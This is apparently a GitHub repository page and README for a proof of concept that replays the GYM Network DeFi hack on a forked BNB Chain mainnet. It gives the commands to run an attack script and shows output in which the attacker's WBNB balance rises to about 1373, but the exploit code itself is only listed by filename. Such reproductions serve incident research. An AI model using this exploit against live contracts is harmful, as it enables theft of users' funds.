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Name		Name	Last commit message	Last commit date
parent directory ..
contracts		contracts
scripts		scripts
.env.example		.env.example
.eslintignore		.eslintignore
.eslintrc.js		.eslintrc.js
.gitignore		.gitignore
.npmignore		.npmignore
.prettierignore		.prettierignore
.prettierrc		.prettierrc
.solhint.json		.solhint.json
.solhintignore		.solhintignore
README.md		README.md
hardhat.config.ts		hardhat.config.ts
package-lock.json		package-lock.json
package.json		package.json
tsconfig.json		tsconfig.json

README.md

GYM Network re-hack PoC

How to run

Install nodejs/npm first

Set up the forking url (in hardhat.config.ts)

e.g. https://speedy-nodes-nyc.moralis.io/xxxxxxxxxxx/bsc/mainnet/archive ( You need to apply for speedy-nodes from moralis.io)

Then run

npm install
npx hardhat run scripts/attack.ts

You will see similar output later

WBNB balance of attacker: 0.001
Exploiting...
Exploit complete.
WBNB balance of attacker: 1373.565008267780664495

This means the attack is complete

The block height of the fork is 16798806

Link

https://twitter.com/BlockSecTeam/status/1512832398643265537